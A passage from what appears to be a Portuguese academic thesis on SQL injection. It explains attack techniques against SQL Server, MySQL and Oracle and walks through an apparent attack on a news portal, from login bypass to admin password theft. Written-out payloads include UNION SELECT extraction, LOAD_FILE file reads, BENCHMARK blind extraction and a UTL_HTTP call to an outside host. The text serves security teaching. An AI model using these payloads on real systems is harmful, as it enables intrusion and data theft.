consulta SQL o invasor irá criar um arquivo chamado dir.txt no diretório C:\ do
servidor que abriga o BD e este arquivo conterá uma lista de todos os diretórios de
trabalho dos processos SQL Server rodando no momento. De acordo com Anley (2002)
desde que o SQL Server esteja rodando normalmente tanto como uma conta local do
sistema ou como uma conta de usuário do domínio, um invasor pode realizar uma
grande quantidade de estragos.
Além do comando xp_cmdshell existem vários Stored Procedures que oferecem
ao invasor uma grande possibilidade de executar comandos arbitrários em um sistema
que utiliza SQL Server, alguns desses procedures são listados na Tabela 4.
Tabela 4 - Extended Stored Procedures (ANLEY, 2002)
Função
xp_regxxx functions
xp_servicecontrol
xp_availablemedia
xp_dirtree
xp_enumdsn
xp_loginconfig
xp_makecab
xp_ntsec_enumdomains
xp_terminate_process
Descrição
Realiza operações no registro da máquina.
Permite a um usuário iniciar, desligar e pausar um serviço.
Revela os drives disponíveis na máquina.
Permite obter uma árvore de diretórios.
Enumera os recursos de dados ODBC no servidor.
Revela informações sobre o modo de segurança do
servidor.
Permite ao usuário criar um arquivo comprimido de
arquivos do servidor (ou qualquer arquivos que o servidor
puder acessar).
Enumera os domínios que o servidor pode acessar.
Termina um processo.
4.2 Vulnerabilidades em MYSQL
Segundo Litchfield et al (2005) a técnica SQL Injection é provavelmente o mais
preocupante tipo de ataque a sistemas com BD MySQL, pois é a forma de ataque inicial
mais provável de ocorrer em um BD conectado à Internet. Através de uma
vulnerabilidade à SQL Injection um invasor pode utilizar um servidor de banco de dados
como ponto de partida para atacar a rede à que este faz parte e utilizá-lo como
plataforma para lançar outros ataques. A técnica de Injeção de SQL é um grande
48
problema que resulta de uma insuficiente validação de dados de entrada em aplicações
web. Para Litchfield et al (2005) a configuração da base de dados pode contribuir muito
para o sucesso ou fracasso do invasor.
As aplicações MySQL geralmente não retornam mensagens de erro com
informações explícitas sobre o conteúdo de variáveis como acontece em aplicações SQL
Server. Mas se uma aplicação recebe dados diretamente do usuário sem nenhuma
validação a injeção de SQL é possível. Apesar de não retornar o conteúdo de variáveis
os erros retornados por uma aplicação MySQL (assim como de qualquer outro
gerenciador de banco de dados) podem ser muito úteis para um invasor descobrir
informações sobre um banco de dados. As principais áreas de perigo em ataques a BDs
MySQL são as funções UNION SELECT, LOAD_FILE e BENCHMARK.
Segundo Anley (2004) existem também outras funções perigosas como LOAD
DATA INFILE (permite carregar/ler dados de um BD) e SELECT ... INTO OUTFILE
(permite modificar e gravar dados em arquivos existentes), mas estas funções não são
tão úteis ao invasor, pois, além serem raras as aplicações que permitem múltiplos
comandos estas funções são complicadas de usar.
4.2.1 SELECT e UNION
A cláusula UNION foi implementada na versão 4.0 do MySQL. Esta cláusula é
utilizada para combinar o resultado de duas pesquisas. Segundo Anley (2004) por ser
um dos principais ingredientes de um ataque por SQL Injection, a introdução da
cláusula UNION facilitou a exploração a servidores MySQL. Para exemplificar a
utilização desta vulnerabilidade por invasores, será usada uma tabela qualquer de nome
codigo e a consulta declarada no Código 22.
var consulta = "SELECT * FROM codigo WHERE cod=['cod'];
Código 22 - Verificação de usuário no BD
Assumindo que o script que faz a requisição ao BD seja da linguagem PHP, a
URL utilizada para realizar a requisição à tabela codigo será de acordo com a URL no
Código 23.
49
http://exemplo.mysql.com/consulta.php?cod=0
Código 23 - URL para consultar código
Segundo Litchfield et al (2005) se um usuário malicioso deseja retornar dados
úteis, como parte da tabela codigo, a cláusula UNION pode ser usada para combinar
dois conjuntos de resultados. Pelo fato de o comando UNION vir após a cláusula
WHERE em um comando SELECT, é possível escolher qualquer dado desejado, de
acordo com as seguintes restrições:
•
Ambas as pesquisas utilizadas na cláusula UNION devem possuir o
mesmo número de colunas com o mesmo tipo de dados.
•
Se os dados contêm campos de texto, eles devem ser truncados ao
tamanho do campo de texto correspondente na primeira pesquisa.
Para retornar o literal @@version, que retorna a versão do MySQL utilizada no
servidor, um invasor realizaria a requisição informando o nome de usuário ao BD de
forma parecida com a representada no Código 24.
http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+@@version,1,1
,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Código 24 - Retornando Versão do MySQL
De acordo com as restrições para utilização da cláusula UNION é necessário que
as duas pesquisas tenham o mesmo número de colunas. Então se a consulta que reside
no servidor MySQL utilizar o mesmo número de campos que a cláusula UNION feita
pelo invasor o mesmo conseguirá visualizar a versão do MySQL utilizada. Mas se a
pesquisa tiver um número diferente de campos uma mensagem de erro semelhante à
Mensagem 6 será retornada ao usuário.
The used SELECT statements have a different number of columns
Mensagem 6 - Erro gerado pela cláusula UNION
50
A Mensagem 6 informa ao usuário que o número de colunas utilizadas na
cláusula UNION tem números diferentes entre os dois lados da pesquisa. Para contornar
este erro invasores geralmente inserem um número qualquer (1 por exemplo) ou valores
nulos (null) nos campos em que se devem ser inseridos nomes de colunas das tabelas até
que se consiga encontrar o número de campos correto da pesquisa (no exemplo do
Código 24 a pesquisa possui 31 campos).
Caso a mensagem de erro da Mensagem 6 continue a ser retornada o invasor irá
inserir números até que seja descoberta a quantidade original de campos. Segundo
Litchfield et al (2005) é possível selecionar campos arbitrários de tabelas em outras
tabelas usando UNION SELECT. Se um invasor deseja retornar os campos nome e dl da
tabela func também presente no BD da tabela codigo ele usaria o comando localizado no
Código 25.
http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+nome,dl,1,1,1
,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1+FROM+func
Código 25 - Recuperando dados da tabela func
"Usando UNION, um invasor pode efetivamente acessar todos os dados que a
aplicação pode acessar” (LITCHFIELD et al, 2005).
4.2.2 Função LOAD FILE
A função LOAD_FILE retorna um literal contendo o conteúdo de um arquivo
qualquer especificado pelo seu caminho. No Código 26 podemos ver um exemplo de
como utilizar a função LOAD_FILE para retornar o conteúdo do arquivo boot.ini em um
sistema Windows.
SELECT LOAD_FILE (‘c:\boot.ini’);
Código 26 - Vendo Conteúdo do arquivo
Segundo Litchfield et al (2005), o privilégio FILE (file_priv), na versão 4.1 do
MySQL e todas as suas anteriores, permite ao usuário passar sem problemas por todos
51
os controles de acesso. Esta é uma característica documentada do MySQL. O texto
seguinte foi retirado do manual do usuário do MySQL:
"O privilégio FILE fornece permissão para ler e escrever arquivos no
servidor usando instruções LOAD DATA INFILE e SELECT ... INTO
OUTFILE. Qualquer usuário que tenha este privilégio pode ler ou gravar
qualquer arquivo que o servidor MySQL possa ler ou escrever. O usuário
também pode ler qualquer arquivo no diretório de banco de dados atual. O
usuário não pode, no entanto, alterar qualquer arquivo existente”
(MANUAL DE REFERÊNCIA DO MYSQL, 2006).
Litchfield et al (2005) afirma que se um usuário possui o privilégio FILE, ele
pode visualizar todas as “hashes” (números gerados por fórmulas matemáticas para
representar uma seqüência de texto) das senhas. Um exemplo pode ser visto no Código
27.
(Como qualquer usuário com privilégio FILE)
SELECT SUBSTRING(LOAD_FILE('./mysql/user.MYD'), 195 );
5d2e19393cc5ef67
(Como root)
SELECT password FROM mysql.user WHERE user='monty';
5d2e19393cc5ef67
Código 27 - Recuperando hashes das senhas de usuário
Segundo Litchfield et al (2005) em versões MySQL anteriores a 4.1 as hashes
das senhas são tudo o que um invasor necessita saber para conseguir se autenticar no
BD. De fato, o usuário pode ver todos os dados no MySQL sem qualquer outro controle
de acesso. As funções file_priv e load_file passam por todos. Isto funciona porque
file_priv permite a um usuário ler qualquer arquivo que o MySQL possa ler.
“A função file_priv é reconhecidamente ruim para outras razões, pois este é
um caso sério de elevação de privilégios. Qualquer usuário que tem o
privilégio file_priv pode ser considerado equivalente ao super usuário”
(LITCHFIELD ET AL, 2005).
Se o host alvo está rodando em um script qualquer que bloqueie o uso de
apóstrofes, é preciso expressar o literal c:\boot.ini sem utilizar apóstrofes. De acordo
52
com Anley (2004) o MySQL aceita literais codificados em numeração hexadecimal
como substitutos para literais. Um exemplo pode ser visto no Código 28.
SELECT 'c:/boot.ini'
SELECT 0x633a2f626f6f742e696e69
Código 28 - utilizando hexadecimais
Utilizando o comando do Código 28, é possível montar uma requisição como a
presente no Código 29.
http://mysql.example.com/query.php?user=1+UNION+SELECT+LOAD_FILE_(0x63
3a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1
Código 29 - Fazendo requisições com hexadecimais
Ao requisitar o comando presente no Código 29, um invasor obterá algo como o
resultado presente no Código 30.
[boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)pa 1 1 N N N N
N N N N N N N N N N N N N N N N N
1 1 1 1 1 1
Código 30 - Visualizando os primeiros 60 bytes do arquivo boot.ini
Em outras palavras, no Código 30 estão listados os primeiros poucos bytes do
arquivo c:\boot.ini, porque a cláusula UNION trunca um literal ao tamanho do primeiro
campo da tabela de usuários, que tem 60 (sessenta) caracteres. Segundo Anley (2004)
isto pode ser endereçado utilizando o código 31.
http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+SUBSTRING_(LO
AD_FILE(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1,1,1,1,1,1,1,1,1,1
Código 31 - Recuperando os próximos 60 bytes do arquivo boot.ini
53
O comando presente no Código 31 irá selecionar os próximos 60 (sessenta)
caracteres do arquivo c:\boot.ini. Desta maneira, é possível que um invasor itere através
do arquivo todo, retornando todos os dados. De acordo com Anley (2004) a função
LOAD_FILE trabalha com arquivos binários, e o comando SUBSTRING permite pular
valores nulos, assim um invasor pode utilizar esta técnica para ler arquivos binários
arbitrários.
4.2.3 Atrasos de Tempo e a Função BENCHMARK
Quando uma aplicação web não retorna mensagens de erro úteis o invasor tem
um grande problema, pois, quando isso ocorre é muito mais difícil determinar se a
aplicação é ou não vulnerável à SQL Injection. Segundo Anley (2004) nestas situações é
muito útil para um invasor conseguir uma consulta que congele o BD por um tempo
significativo, como 10 segundos. Se o invasor tem uma função simples ou um
fragmento de consulta que pausará o BD, ele estará hábil para determinar facilmente
quais scripts da aplicação web são vulneráveis, pois a requisição web levará 10
segundos extras para ser completada. Uma vez que o invasor determinou que a injeção
de SQL está presente na aplicação, ele pode usar atrasos de tempo (time delays) em
combinação com expressões condicionais para extrair informações adicionais do BD.
Segundo Anley (2004) não existe nenhuma função simples para pausar o BD
como wait ou sleep em MySQL, mas a combinação de primitivas criptográficas e a
função BENCHMARK trabalha da mesma forma. A função BENCHMARK avalia uma
expressão específica em um número específico de vezes. Um exemplo da utilização da
função BENCHMARK pode ser visto no Código 32.
SELECT BENCHMARK(500000, sha1(‘teste’));
Código 32 - Utilização da função BENCHMARK
No Código 32 o comando irá calcular a hash (indicador) sha1 do literal teste
500000 vezes. De acordo com Litchfield et al (2005) isto leva aproximadamente 5
segundos em uma máquina com um processador de 1.7 GHZ. A função BENCHMARK
pode ser inserida para observar campos em uma aplicação web e descobrir quando a
aplicação é congelada. Um exemplo pode ser visualizado no Código 33.
54
http://exemplo.mysql.com/consulta.php?cod=1+UNION+SELECT+BENCHMARK(500
000,sha1(0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,
1,1,1,1,1
Código 33 - Exemplo BENCHMARK
O comando realizado no Código 33 irá fazer com que a aplicação alvo seja
pausada por um período de tempo entre 10 e 15 segundos antes de responder. O invasor
pode usar este tempo para realizar testes para descobrir informações sobre o sistema
atacado. O Código 34 demonstra um exemplo de teste, a declaração do SELECT neste
comando irá pausar o BD se o nome do usuário atual for root.
mysql> SELECT IF(user() LIKE 'root@%', BENCHMARK(100000,
sha1('teste')), 'false');
Código 34 - Extraindo informações com BENCHMARK
A parte if do comando presente no Código 34 pode ser inserida em qualquer
lugar em que um nome de coluna estaria presente em uma declaração SELECT, então é
bem simples acessar este comando via SQL Injection. Segundo Litchfield et al (2005) o
próximo passo é recuperar todos os dados do BD usando atrasos de tempo. Isto pode ser
conseguido através da seleção de bits individuais fora de literais e pausando se eles
forem iguais a 1. Por exemplo, no comando dado no Código 35, a declaração SELECT
irá pausar o BD se o bit mais alto de user() for igual a 1.
SELECT IF( (ascii(substring(user(),1,1)) >> 7) & 1,
BENCHMARK(100000,sha1(test)), false );
Código 35 - Recuperando valores bit a bit
Segundo Anley (2004) este pode ser um meio razoavelmente rápido de se extrair
dados de um BD.
55
4.3 Vulnerabilidades em Oracle
O gerenciador de banco de dados Oracle pode ser considerado um dos mais
seguros de sua categoria contra ataques por SQL Injection, pois não existe suporte a
execução de múltiplas expressões (SQL Server e PostgreSQL), não existem expressões
EXECUTE (SQL Server), e nem funções como INTO OUTFILE (MySQL). Um forte
ponto de segurança em banco de dados Oracle é o uso das variáveis de ligação.
“Expressões SQL que utilizam variáveis de ligação (bind variables) são
geralmente imunes a ataques por SQL Injection, pois o Oracle irá utilizar
somente o valor da variável de ligação e não interpretar o conteúdo da
mesma. PL/SQL e JDBC permitem o uso de bind variables. Bind variables
deveriam ser utilizadas extensamente por razões de segurança e
desempenho” (KOST, 2004).
Apesar de o gerenciador Oracle ser aparentemente mais seguro e robusto do que
outros gerenciadores contra ataques por SQL Injection, aplicações sem medidas de
proteção próprias contra esse método de invasão podem ser vulneráveis.
A maioria dos desenvolvedores de aplicações web subestima o risco de ataques
por SQL Injection contra suas aplicações que utilizam o Oracle como sua base de dados
(KOST, 2004). Muitos desenvolvedores de aplicações Oracle não entendem
completamente o risco que ataques por SQL Injection podem oferecer e simples técnicas
utilizadas para se prevenir contra estes ataques.
Existem várias formas de ataques por SQL Injection que funcionam em bases de
dados Oracle. Segundo Kost (2004) duas formas de ataque, a injeção de código e a
injeção em chamadas de funções em Oracle, não são bem documentadas e muitas
aplicações são vulneráveis a esses tipos de ataques. Todos esses tipos de SQL Injection
são válidos em outras bases de dados como SQL Server, DB2, MySQL e PostgreSQL.
4.3.1 Injeção de Código
Ataques por injeção de código (code injection) tentam adicionar expressões ou
comandos SQL a expressões existentes no Oracle. Segundo Kost (2004) este tipo de
ataque é frequentemente usado contra aplicações Microsoft SQL Server, mas funciona
em uma base de dados Oracle (mesmo que raramente). A expressão EXECUTE no SQL
56
Server é um alvo freqüente de ataques por SQL Injection (não existe um comando
correspondente no Oracle).
Segundo Litchifield et al (2005), PL/SQL é uma linguagem utilizada para gerar
stored procedures, funções, triggers e objetos no Oracle. Nesta linguagem não há
suporte às múltiplas expressões por requisição de dados. Deste modo, o tipo comum de
ataque por injeção de SQL proposto no Código 36 não funcionará contra um BD Oracle
via PL/SQL ou uma aplicação Java, resultando em erro.
SELECT * FROM usuario WHERE nome = 'bob' and senha = 'minhasenha';
DELETE FROM usuario WHERE nome = 'admin';
Código 36 - Tipo comum de ataque
No entanto, algumas linguagens de programação ou APIs podem permitir que
múltiplas expressões SQL sejam executadas (KOST, 2004). PL/SQL e aplicações Java
podem dinamicamente executar blocos anônimos de PL/SQL, que são vulneráveis à
injeção de código. O Código 37 é um exemplo de um bloco PL/SQL executado em uma
aplicação web.
BEGIN ENCRYPT_PASSWORD('bob', 'minhasenha'); END;
Código 37 - Bloco PL/SQL
O exemplo de bloco PL/SQL demonstrado no Código 37 executa um stored
procedure que encripta e salva a senha do usuário. Um invasor pode tentar modificar
esse bloco para executar como o exemplo no Código 38 e apagar o usuário admin do
sistema atacado.
BEGIN ENCRYPT_PASSWORD(‘bob’, ‘minhasenha’); DELETE WHERE
upper(usuario) = upper(‘admin’); END;
Código 38 - Bloco PL/SQL modificado
57
4.3.2 Injeção em chamadas de Função
De acordo com Kost (2004) a injeção em chamadas de função é a inserção de
funções do BD Oracle ou funções adaptadas em uma expressão SQL vulnerável. Estas
chamadas de função podem ser utilizadas para fazer chamadas de sistema operacional
ou manipular dados no BD.
O BD Oracle permite que funções ou pacotes de funções sejam executados
como parte de uma expressão SQL. Segundo Kost (2004) o Oracle suporta acima de
1000 funções em 175 pacotes padrões de BDs por default, no entanto somente poucas
dessas funções são úteis a ataques por SQL Injection. Algumas dessas funções que
realizam atividades na rede podem ser exploradas. De acordo com Litchfield et al
(2005) qualquer função adaptada ou residente em um pacote padrão pode ser também
executada em uma expressão SQL.
Funções SQL executadas como parte de uma expressão SELECT podem não
modificar o BD, a menos que a função esteja marcada como "PRAGMA
AUTONOMOUS_TRANSACTION" (FAYÓ, 2005). Nenhuma das funções padrão do
Oracle são executadas como transações autônomas. Funções executadas em expressões
INSERT, UPDATE, ou DELETE são capazes de modificar dados no BD.
Usando as funções padrão do Oracle, um invasor pode enviar informações da
base de dados para um computador remoto ou executar outros ataques do servidor do
BD. Segundo Kost (2004) muitas aplicações nativas do Oracle Server possuem pacotes
com funções de BD que podem ser exploradas por um invasor. Estes pacotes podem
incluir funções para mudar senhas ou realizar outras transações sensíveis da aplicação.
A conseqüência de utilizar chamadas de função é que qualquer expressão SQL
gerada dinamicamente pode ser vulnerável (KOST, 2004). Até as expressões SQL mais
simples podem ser exploradas eficientemente. O exemplo do Código 39 demonstra que
até o mais simples exemplo de expressão SQL pode ser vulnerável. Desenvolvedores de
aplicações irão algumas vezes utilizar funções do BD ao invés de utilizar código nativo
(Java dentre outros) para realizar tarefas comuns. Segundo Kost (2004) não existe um
equivalente direto à função de banco de dados TRANSLATE em Java, então o
programador pode decidir utilizar a expressão SQL localizada no Código 39.
58
SELECT TRANSLATE('entrada do usuário',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Código 39 - Exemplo de expressão SQL
A expressão SQL demonstrada no Código 39 não é vulnerável a outros tipos de
ataques por injeção de código, mas é facilmente manipulada através de um ataque por
injeção de função. O invasor irá tentar modificar a expressão SQL para executar como
no Código 40.
SELECT TRANSLATE('' || UTL_HTTP.REQUEST('http://192.168.1.1/') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Código 40 - Expressão SQL manipulada
A expressão SQL modificada no Código 40 irá requisitar uma página do
servidor web. O invasor pode manipular o literal e a URL para incluir outras funções
que recuperem informações úteis do servidor de banco de dados e enviar estas
informações para o servidor web na URL. Desde que a base de dados Oracle
preferencialmente não rode por trás de um firewall, a técnica de injeção em chamadas
de função pode também ser usada para atacar outros servidores da rede interna (KOST,
2004). Funções e pacotes de funções feitos à parte também podem ser executados. Um
exemplo seria uma aplicação que possui o pacote MYAPPADMIN que tem a função
ADDUSER.
Se
o
desenvolvedor
marcar
a
função
como
"PRAGMA
AUTONOMOUS_TRANSACTION", a função poderá ser executada em qualquer
circunstância que a aplicação encontrar, sendo assim, essa função poderá escrever para
o BD mesmo em uma expressão SELECT (FAYÓ, 2005). Executando a expressão SQL
do Código 41, o invasor poderá criar novos usuários para a aplicação.
59
SELECT TRANSLATE('' || myappadmin.adduser('admin', 'novasenha') || '',
'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ',
'0123456789')
FROM dual;
Código 41 - Criando novos usuários
Usando métodos de injeção de SQL Injection em chamadas de função um
invasor pode gerar estouros de pilha ou buffer overflows em aplicações Oracle. buffer
overflows foram identificados em funções padrão de várias bases de dados. “A maioria
das aplicações e servidores web não segura uma perda de conexão resultante de um
buffer overflow com o BD elegantemente (KOST, 2004)”. Geralmente o processo web
irá segurar até que a conexão com o cliente seja finalizada, fazendo com que este seja
um ataque de negação de serviço (DOS) muito eficiente. De acordo com Kost (2004)
poucas funções padrão do Oracle podem ser exploradas através de um ataque por SQL
Injection. Existem buffer overflows conhecidos em funções padrão como tz_offset,
to_timestamp e bfilename.
60
5. ANATOMIA DE UM ATAQUE
A técnica de injeção de SQL é uma das formas mais comuns de ataques a
aplicações que fazem conexão com um banco de dados na Internet. Avaliando um
pequeno número de aplicações foi possível detectar que pelo menos uma dentre três
aplicações que se conectam e enviam informações a um banco de dados possuem
vulnerabilidades à SQL Injection. Autores como Litchfield (2005) e Chapela (2005)
afirmam que aproximadamente 60% das aplicações que se conectam a um banco de
dados possuem vulnerabilidades à SQL Injection.
Muitas aplicações concentram a maior parte de seus procedimentos de segurança
somente em áreas consideradas mais importantes, como áreas de login e senha. E não
dão importância a outros campos que também se conectam ao BD, como URLs de
paginação, campos de pesquisa, dentre outros. Um único campo vulnerável pode
comprometer toda a aplicação. Através de um campo vulnerável à injeção de SQL um
invasor pode detectar muitas informações sobre o BD da aplicação e executar comandos
que causem danos à mesma.
5.1 O Ataque
Um exemplo de ataque a uma aplicação web pode ser visto na Figura 4, que
consiste em um ataque a um portal de notícias que exige que os usuários sejam
cadastrados para visualizar todas as notícias do site. A primeira providência que um
invasor que utiliza SQL Injection toma ao escolher o site que será atacado é procurar
campos vulneráveis à injeção de SQL. Formulários HTML em geral e URLs que
enviam dados ao servidor de banco de dados podem ser vulneráveis. Geralmente a
vulnerabilidade do campo é testada enviando uma apóstrofe (‘) ao BD (Figura 4), se a
aplicação retornar erros (Figura 5) de sintaxe SQL o invasor terá certeza que a aplicação
é vulnerável.
61
Figura 4 - Encontrando campo vulnerável
Figura 5 - Erro de Sintaxe SQL
62
Na Figura 5, a mensagem de erro revela a vulnerabilidade do site.
Provavelmente os dados enviados pelo usuário pelo campo de e-mail são concatenados
ao final de um comando SQL sem que nenhuma validação de entrada seja realizada. A
mensagem de erro gerada pela aplicação também revela ao invasor qual o gerenciador
de banco de dados utilizado (MySQL). A partir do momento em que o invasor descobre
um campo vulnerável na aplicação, um leque de possibilidades de invasão se abre para
o mesmo. Através de outros testes o invasor pode descobrir mais informações úteis
sobre o servidor.
Para entrar na área vulnerável do sistema sem ser cadastrado o invasor
necessitará somente criar uma consulta SQL que retorne um resultado verdadeiro. Por
exemplo, a coluna na tabela utilizada no banco de dados para registrar nomes de
usuários cadastrados provavelmente será identificada como nome, name, usuario, dentre
outros. Se o usuário injetar o comando da Figura 6 na aplicação receberá como resposta
a mensagem da Figura 7.
Figura 6 - Tentativa de entrar no sistema
63
Figura 7 - Mensagem de erro na tentativa de logar
A mensagem de erro na Figura 7 indica que o campo name não existe. Através
de mensagens de erro como a da Figura 7 o invasor pode realizar tentativas até
encontrar o campo desejado, pode ser difícil descobrir o nome de um campo, mas em
geral são utilizados nomes sugestivos. Na aplicação em questão caso o invasor utilize o
comando da Figura 8 ele conseguirá entrar no sistema (Figura 9), provavelmente como
o primeiro usuário cadastrado na tabela.
Figura 8 - Nova tentativa de entrar no sistema
64
Figura 9 - Sucesso em entrar no sistema
Como se pode notar na Figura 8 o nome da coluna que armazena nomes de
usuários na tabela da aplicação era nome, sendo assim o invasor conseguiu entrar no
sistema sem ser um usuário cadastrado. Lembrando que ‘#’ é o caractere de comentário
do MySQL, utilizado no comando da Figura 8 para comentar os comandos restantes,
sendo assim não é necessário preencher o campo senha já que este será comentado
garantindo que a injeção seja executada com sucesso. Clicando no link “Alterar meu
Cadastro” da Figura 9 o invasor poderá descobrir informações úteis sobre o usuário em
questão como nome, endereço, telefone, e-mail, dentre outros. A partir do momento em
que o invasor descobre um nome de usuário ele pode descobrir todos os nomes de
usuários da aplicação utilizando o mesmo comando da Figura 8, substituindo apenas a
letra ‘a’ pelo nome de usuário encontrado (Código 42), obtendo o resultado da Figura
10.
‘OR nome > ‘Marcos Antonio Araujo de Almeida’ #
Código 42 - Descobrindo o segundo usuário da aplicação
Figura 10 - Segundo usuário da aplicação
A Figura 10 mostra que o invasor conseguiu logar como o segundo usuário da
aplicação, da mesma forma o invasor pode conseguir logar como qualquer usuário do
sistema atacado. Além de utilizar o operador booleano or o invasor pode utilizar
65
qualquer operador SQL para realizar suas pesquisas de acordo com sua necessidade.
São exemplos de operadores da linguagem SQL: like, and, +, -, /, *, dentre outros.
A cláusula UNION pode ser utilizada pelo invasor para conseguir resultados
mais interessantes sobre a aplicação. No entanto, para utilizar a cláusula UNION é
necessário conhecer o número de campos utilizados pela aplicação para realizar a
consulta e também é necessário conhecer o nome de alguma tabela do banco de dados
(LITCHFIELD et al, 2005). Por exemplo, se o usuário mal-intencionado inserir o
comando do Código 43 no campo de e-mail.
'UNION SELECT 1 FROM users #
Código 43 - Usando a cláusula UNION no ataque
Ele receberá o erro presente na Figura 11.
Figura 11 - Erro de tabela não existente
66
O erro da Figura 11 indica que não existe nenhuma tabela com o nome users no
BD em questão. Nesse caso é preciso que o invasor novamente teste vários nomes até
encontrar um nome válido. Felizmente, para o invasor, a maioria das aplicações
(principalmente as que utilizam pacotes prontos encontrados na Internet) utiliza nomes
bem sugestivos. Após alguns testes o invasor descobrirá que existe uma tabela no BD
com o nome usuarios onde são armazenados todos os usuários da aplicação. Após
descobrir o nome da tabela de usuários, é necessário descobrir o número de campos
utilizado na pesquisa para que o comando UNION seja executado com sucesso. Se o
invasor inserir o comando presente no Código 44.
‘UNION SELECT 1 FROM usuarios #
Código 44 - Descobrindo o número de campos da consulta
Ele receberá a mensagem de erro da Figura 12.
Figura 12 - Erro no número de campos da cláusula UNION
67
A Figura 12 informa que o número de campos entre os dois lados da cláusula
UNION estão diferentes, não sendo possível completar a pesquisa. Nesse caso, o invasor
deverá colocar mais campos na pesquisa até encontrar o número correto de campos e
executar a cláusula UNION com sucesso. Na aplicação em questão existem 6 campos na
pesquisa realizada, sendo assim para realizar com sucesso uma consulta utilizando a
cláusula UNION o invasor deverá utilizar o comando do Código 45.
‘UNION SELECT 1,1,1,1,1,1 FROM usuários #
Código 45 - Número correto de campos da consulta
Executando o comando presente no Código 45 o invasor conseguirá executar
com sucesso um comando utilizando a cláusula UNION e entrar no sistema (Figura 13).
Figura 13 - Logado no sistema utilizando UNION
Observando a Figura 13 e o Código 45, é possível detectar que o número 1
enviado como campo pelo invasor ao BD apareceu impresso na tela duas vezes, a
primeira vez após a frase “seja bem vindo” e a segunda vez após a palavra registro.
Desta forma é possível também visualizar além de nomes de usuários, outras
informações como senha de usuários e assim descobrir a senha de um usuário com
privilégio administrativo do site.
A aplicação explorada consiste em um portal de notícias em geral. Aplicações
dessa natureza geralmente possuem painéis de configuração onde um ou mais usuários
(Administradores) podem atualizar as notícias e administrar a aplicação. Áreas
administrativas de sites geralmente não são visíveis a usuários, e somente os
administradores possuem o endereço para acessá-las. Porém, a maioria das áreas
administrativas possuem suas URLs parecidas com o Código 46.
68
www.exemplo.com.br/admin/index.linguagem
Código 46 - URL de área administrativa
No Código 46 se a linguagem da aplicação for PHP o final do código será igual
a index.php, se a linguagem for ASP o final ficará como index.asp, e assim por diante.
Além da palavra index na URL é comum encontrar palavras como default, login, dentre
outras. Após descobrir a linguagem que a aplicação utiliza, o invasor poderá descobrir a
área administrativa do site, como na Figura 14.
Figura 14 - Área administrativa do site
Obviamente a área administrativa da aplicação possui uma maior preocupação
em verificar a consistência dos códigos que são enviados ao servidor pelo usuário. Se o
invasor tentar utilizar SQL Injection nos campos username e password da página de
login da área administrativa dificilmente obterá sucesso. Porém, existe um campo
vulnerável à SQL Injection que foi encontrado pelo invasor na mesma aplicação, e assim
69
como o campo de login para a área administrativa esse campo também interage com o
BD da aplicação. Sendo assim é possível através do campo vulnerável que o invasor
obtenha uma senha de administrador e entre no sistema administrativo do site sem
problemas. O invasor pode conseguir uma senha de usuário utilizando a cláusula
UNION.
O primeiro usuário cadastrado no BD na maioria das vezes é o administrador do
sistema. A Figura 9 demonstrou o nome do primeiro usuário cadastrado no site
encontrado pelo invasor (Marco Antonio Araujo de Almeida). Para descobrir o valor da
coluna username correspondente ao nome de usuário da Figura 9, o invasor pode
utilizar o comando do Código 47.
'UNION SELECT 1,username,1,1,1,1 FROM usuarios WHERE nome LIKE '%marco
antonio%' #
Código 47 - Descobrindo o valor do campo username
Ao executar o comando do Código 47 o invasor terá como resultado a
informação da Figura 15.
Figura 15 - Username do administrador
A Figura 15 informa ao invasor que o valor da coluna username correspondente
ao usuário de nome ‘Marco Antonio’ é igual a marco. Após conseguir o nome de
usuário o invasor pode conseguir a senha do mesmo através do comando no Código 48.
'UNION SELECT 1,password,1,1,1,1 FROM usuarios WHERE username='marco'#
Código 48 - Descobrindo a senha do administrador
70
Após executar o comando do Código 48 o invasor irá receber o resultado da
Figura 16.
Figura 16 - Senha do administrador
A Figura 16 revela a senha do usuário marco (mrco****). Após descobrir um
nome de usuário e a senha do mesmo o invasor irá se direcionar novamente a área
administrativa do site para conferir se realmente conseguiu um nome de usuário e senha
válidos para entrar no sistema (Figura 17).
Figura 17 - Tentativa de entrar na área administrativa
71
Ao entrar com o nome de usuário e senha descobertos o invasor irá visualizar a
página presente na Figura 18.
Figura 18 - Painel da área administrativa
A Figura 18 demonstra que o invasor conseguiu atingir seu objetivo com
sucesso. Na área administrativa é possível realizar qualquer operação do sistema, como
cadastrar e apagar usuários, incluir ou retirar notícias, modificar a aparência do site,
dentre outras possibilidades.
5.2 Sugestões Preventivas
O exemplo de ataque visualizado na Seção 5.1 demonstra que é importante para
o desenvolvedor de sistemas web avaliar a aplicação como um todo, validar todas as
informações que são enviadas pela aplicação web ao banco de dados. E nunca focar a
segurança em apenas uma área do site. No ataque em questão um invasor conseguiu
através de apenas um campo vulnerável na aplicação comprometer todo o sistema. Para
corrigir o problema o administrador provavelmente terá que revisar todo o código do
72
site e procurar por campos que enviem dados ao BD que não estão sendo validados
antes de serem executados na consulta (Seção 6.1). O exemplo de ataque realizado na
Seção 5.1 também revelou que a aplicação retorna mensagens de erro muito detalhadas
ao usuário, o que facilita ao extremo o trabalho do invasor.
Em contrapartida foi possível identificar que a aplicação não se conecta ao
banco de dados com privilégios administrativos, sendo assim os riscos de um ataque por
SQL Injection ficam limitados ao BD e não podem ser estendidos ao sistema
operacional ou a outros computadores da rede (Seção 6.3). Outras medidas importantes
de segurança para proteger uma aplicação podem ser encontradas no próximo capítulo
(Práticas de Proteção).
73
6. PRÁTICAS DE PROTEÇÃO
